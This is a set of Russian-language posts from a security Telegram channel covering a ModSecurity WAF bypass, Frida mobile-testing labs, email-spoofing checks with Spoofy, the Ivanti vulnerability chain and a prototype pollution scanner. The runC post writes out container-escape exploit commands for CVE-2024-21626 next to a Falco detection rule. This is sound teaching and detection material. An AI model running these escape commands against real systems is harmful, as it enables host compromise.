ModSecurity WAF Bypass
CVE-2024-1019

Недавно была обнаружена значительная уязвимость в ModSecurity версий 3.0.0 - 3.0.11, идентифицированная как CVE-2024-1019. Эта уязвимость, получившая оценку CVSS 8.6, представляет серьезную опасность, позволяя обойти WAF для полезной нагрузки, основанной на пути в URL-адресах запросов.
Злоумышленники могут использовать CVE-2024-1019, создавая URL-адреса запросов с кодированными в процентах вопросительными знаками (%3F). Когда ModSecurity декодирует такие URL, он ошибочно определяет позицию компонента запроса, что позволяет злоумышленнику стратегически разместить полезную нагрузку в пути URL, чтобы обойти правила ModSecurity, предназначенные для проверки компонентов пути.

Данная проблема затрагивает переменные REQUEST_FILENAME и REQUEST_BASENAME, которые используются для проверки путей. Следовательно, правила, опирающиеся на эти переменные, могут оказаться неэффективными в борьбе с этим эксплойтом.

Пользователям и интеграторам ModSecurity настоятельно рекомендуется обновиться до версии 3.0.12, в которой эта уязвимость устранена. Важно отметить, что ModSecurity v2, а именно v2.9.x, остается незатронутой этим багом.

🌚 @poxek

Учимся ломать мобилки с Frida Labs
#мобилки #mobile_pentest

Когда-то я выложил супер залётный мем, который собрал по меньшей мере 18к просмотров без учетов того момента, когда у меня его своровали. И кроме того, что шутить про мобилки я только знаю какие ЯП/фреймворки используются и базовые тулзы. Но если вам по работе надо изучить мобилки или вы только учитесь и решили выбрать это очень интересное направление где сильно меньше конкуренции, чем в вебе. Frida является основополагающим инструментом при пентесте мобилки. Если ты ранее не пользовался Frida то тебе очень полезна будет Frida Labs.

Содержание репозитория:
Challenge 0x1 : Frida setup, Hooking a method
Challenge 0x2 : Calling a static method
Challenge 0x3 : Changing the value of a variable
Challenge 0x4 : Creating a class instance
Challenge 0x5 : Invoking methods on an existing instance
Challenge 0x6 : Invoking a method with an object argument
Challenge 0x7 : Hooking the constructor
Challenge 0x8 : Introduction to native hooking
Challenge 0x9 : Changing the return value of a native function
Challenge 0xA : Calling a native function
Challenge 0xB : Patching instructions using X86Writer and ARM64Writer

Полезные ресурсы от автора репы:
https://learnfrida.info/advanced_usage
https://codeshare.frida.re

🌚 @poxek

Признайтесь честно, у кого Flipper лежит в шкафу/полке и просто пылиться?
#полезное

🔥 Всем обладателям флипера советую почитать: The Ultimate Guide / CheatSheet to Flipper Zero

🌚 @poxek

А вы проверяете DNS записи? (DNSSEC привет)

🌱 Давайте разберем что мы сможем найти, если будет их проверять. Самое вкусное, если у будут отсутствовать SPF и DMARC, это победа на 90%. Но давайте сначала разберем, что это за DNS записи.

1️⃣ SPF — это стандарт, который позволяет владельцам доменов указать, какие почтовые серверы авторизованы для отправки почты от их имени. Запись SPF публикуется в DNS в виде TXT-записи и содержит список IP-адресов, которые разрешены отправлять письма от имени домена. Когда почтовый сервер получает входящее сообщение, он может проверить SPF-запись отправителя, чтобы убедиться, что IP-адрес, с которого было отправлено сообщение, авторизован. Если сообщение было отправлено с сервера, не включенного в SPF-запись, оно может быть отмечено как подозрительное или отклонено.

2️⃣ DMARC — это стандарт, который позволяет владельцу домена указать, какие меры должны быть приняты, если сообщение не прошло проверку SPF или DKIM (еще один стандарт аутентификации). Запись DMARC также публикуется в DNS как TXT-запись и указывает политику, которая должна использоваться для обработки нелегитимных сообщений, а также адрес электронной почты для отправки отчетов о письмах, которые не прошли проверку.

➡️ Как итог мы получаем возможность отправлять email'ы от лица другой компании. Но скоупы у нас частенько составляют больше 20 доменов и проверять всё руками как-то не очень.

🔧 Поэтому делюсь с вами классной тулзой, которая автоматизирует эту рутинную задачу - Spoofy. Инструмент проверяет можно ли спуфать электронную почту на основе SPF и DMARC записей.

Предустановка:

git clone https://github.com/MattKeeley/Spoofy; cd Spoofy; pip3 install -r requirements.txt

Установка максимально простая:

./spoofy.py -d [DOMAIN] -o [stdout or xls]

./spoofy.py -iL [DOMAIN_LIST] -o [stdout or xls]

Тулза подходит для 🔴 🔵 команд

🌚 @poxek

🖼️ Container security или почему нужно следить не только за уязвимостями в коде

Немного отвлекусь от повседневности и хочу рассказать про то, как нам важно иметь безопасные контейнеры. Начну с того, что Вам и так известно, недавно был найден скоуп уязвимостей Docker и runC.

Для начала что это за уязвимости:

🟡 CVE-2024–21626 (CVSSv3: 8.6) — Проблема в runC, связанная с process.cwd и утечкой дескрипторов файлов.
🟡 CVE-2024–23651 (CVSSv3: 8.7) — Состояние гонки во время сборки, приводящее к выходу контейнера из строя в BuildKit.
🟡 CVE-2024–23652 (CVSSv3: 10.0) — Произвольное удаление при разрушении контейнера во время сборки BuildKit.
🟡 CVE-2024–23653 (CVSSv3: 9.8) — Проблема проверки привилегий GRPC SecurityMode в BuildKit, приводящая к выходу контейнера из строя во время сборки.

При подготовке поста мне очень понравилось читать исследование про CVE-2024–21626, прошу всех с ним ознакомиться - ТЫК

Могу сделать отдельный перевод в teletype 🚶‍♀️

CVE-2024-21626, в частности, привлекла внимание к уязвимостям в runC, ключевом компоненте различных систем управления контейнерами с открытым исходным кодом. Эта уязвимость, а также ее аналоги в BuildKit подчеркивают проблемы, связанные с обеспечением безопасности контейнеров и всей современной микросервисной инфраструктуре.

🤨Да кто этот ваш такой RunC?

RunC - это стандартное время выполнения контейнеров. Это базовая технология, используемая в Docker и других платформах для запуска контейнеров. По сути, runC отвечает за порождение и запуск контейнеров в соответствии со спецификацией Open Container Initiative (OCI). Для этого он предоставляет интерфейс командной строки для управления жизненным циклом контейнеров.

Суть CVE-2024-21626 заключается в утечке дескриптора файла в пакете runC. Эта проблема возникает во время выполнения контейнерного кода. Хотя пользователи обычно устанавливают закрытие дескрипторов файлов при выполнении (O_CLOEXEC) для предотвращения утечки, уязвимость существует в том, как runC обрабатывает системный вызов setcwd(2). Сложно, непонятно, но вот ссылки на видосы исполнения от Snyk ТЫК и на гите ТЫК

⌨️ Как ломать (Для RedTeam)

⏺ Эксплойт через запуск контейнера
Нет необходимости создавать собственный образ, просто запустите контейнер с параметром -w:

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

⏺ Эксплоит через выполнение в запущенном контейнере:

~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo

🛡 Как обнаружить (Для BlueTeam)
Эксплойты имеют следующие особенности:
⏩ Контейнер запускает процесс execve(2) со специальным рабочим каталогом, который начинается с /proc/self/fd/.
⏩ Контейнер создает символические ссылки через symlink(2) или symlinkat(2) со специальной ссылкой на целевой каталог, который начинается с /proc/self/fd/.
⏩ Контейнер будет открывать файлы с помощью open(2), openat(2) или openat2(2) с именами типа /proc/\d+/cwd/.*.

Правило для Falco — про него выйдет отдельный пост

- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL

Это первая часть поста, телега не позволяет дать больше информации. Вторая часть выйдет завтра, в 15:00
Всех ждем на продолжение на уязвимости CVE-2024–23651, CVE-2024–23652, CVE-2024–23653 🤗

История о багах и о том, как фикс одних багов, создает новые баги 😂

Много видел постов про суперкритичную вулну в Ivanti. В целом интересная уязвимость, но это только верхушка айсберга.

Поэтому решил поделиться не просто PoC, но и ресерчом от AttackerKB (создатели metasploit). Они интересно и понятно объясни, как нашли и как работает злополучная SSRF в Ivanti Connect Secure, Ivanti Policy Secure, Ivanti Neurons for ZTA.

Но начнем мы не с CVE-2024-21893, а сделаем несколько шагов назад)

0️⃣ История с Ivanti началась с CVE-2023-46805, это был authentication bypass. Импакт очевиден, но ресерчеры на этом не остановились.

1️⃣ Далее они нашли command injection CVE-2024-21887. Это было вкуснее, к тому же чейнилось с предыдущей вулной на обход аутентификации. Что вылилось в unauthenticated RCE.

2️⃣ Ivanti пофиксили эти две CVE. Но официального патча на момент ещё не вышел.

3️⃣ Затем вышел официальный патч 1 февраля, но ресерчеры успели найти ту самую SSRF CVE-2024-21893 на день раньше, то бишь 31 января). Данная SSRF позволяет обойти патч двух предыдущих CVE (CVE-2023-46805 & CVE-2024-21887).

Есть ли в итоге исправление?
Да, конечно. В актуальной версии 22.5R2.2, на момент написания статьи, данные уязвимости были устранены. Но если у вас Ivanti Connect Secure 22.3R1 или старше, то рекомендую обновиться до актульной версии ASAP.

➡️ А для тех, кто хочет ещё глубже погрузится в этом, советую почитать полный ресерч.

Итог истории очевиден. Фикся одни баги, создаем другие)
🥺 Stay secure!

🌚 @poxek

Что общего у 50-секундного детектива, баскетболистов и разработки фишинговых атак
#история #фишинг

Спойлерить статью не буду, но редактор очень креативно подошла к теме Awareness. Поэтому всем советую почитать эту статью)

➡️ Читать далее

🌚 @poxek

0 == "0" — TRUE

❤️ Prototype Pollution — это атака, с помощью которой изменяют прототип базовых объектов (Object.prototype, Function.prototype, Array.prototype) для модификации хода выполнения программы. Например, если код обращается к свойству window.foo и выполняет его содержимое с помощью eval, то в некоторых ситуациях можно добиться выполнения произвольного кода, переписав в прототипе объекта свойство foo (Object.prototype.foo = 'alert(1)'). Чаще всего на клиенте prototype pollution используется для реализации XSS с помощью изменения GET-параметров.

➡️ Тут можете более подробно почитать про Prototype Pollution

❤️ Но как же я могу вас оставить без автоматизации))

pphack
Прокаченный сканер на Prototype Pollution.

Установка:

go install github.com/edoardottt/pphack/cmd/pphack@latest

FAQ:

Usage:
  pphack [flags]

Flags:
INPUT:
   -u, -url string   Input URL
   -l, -list string  File containing input URLs

CONFIGURATION:
   -c, -concurrency int     Concurrency level (default 50)
   -t, -timeout int         Connection timeout in seconds (default 10)
   -px, -proxy string       Set a proxy server (URL)
   -rl, -rate-limit int     Set a rate limit (per second)
   -ua, -user-agent string  Set a custom User Agent (random by default)

SCAN:
   -p, -payload string            Custom payload
   -js, -javascript string        Run custom Javascript on target
   -jsf, -javascript-file string  File containing custom Javascript to run on target

OUTPUT:
   -o, -output string  File to write output results
   -v, -verbose        Verbose output
   -s, -silent         Silent output. Print only results

Использование:

pphack -u https://edoardottt.github.io/pp-test/

pphack -l targets.txt

также вы можете встроить его в свой pipeline

echo https://edoardottt.github.io/pp-test/ | pphack

cat targets.txt | pphack

❤️ #You_have_been_poxeked

🌚 @poxek

Книга Хакерство. Секреты Мастерства
Библиотека журнала Xakep
Издание 2024 года

🔓 @poxek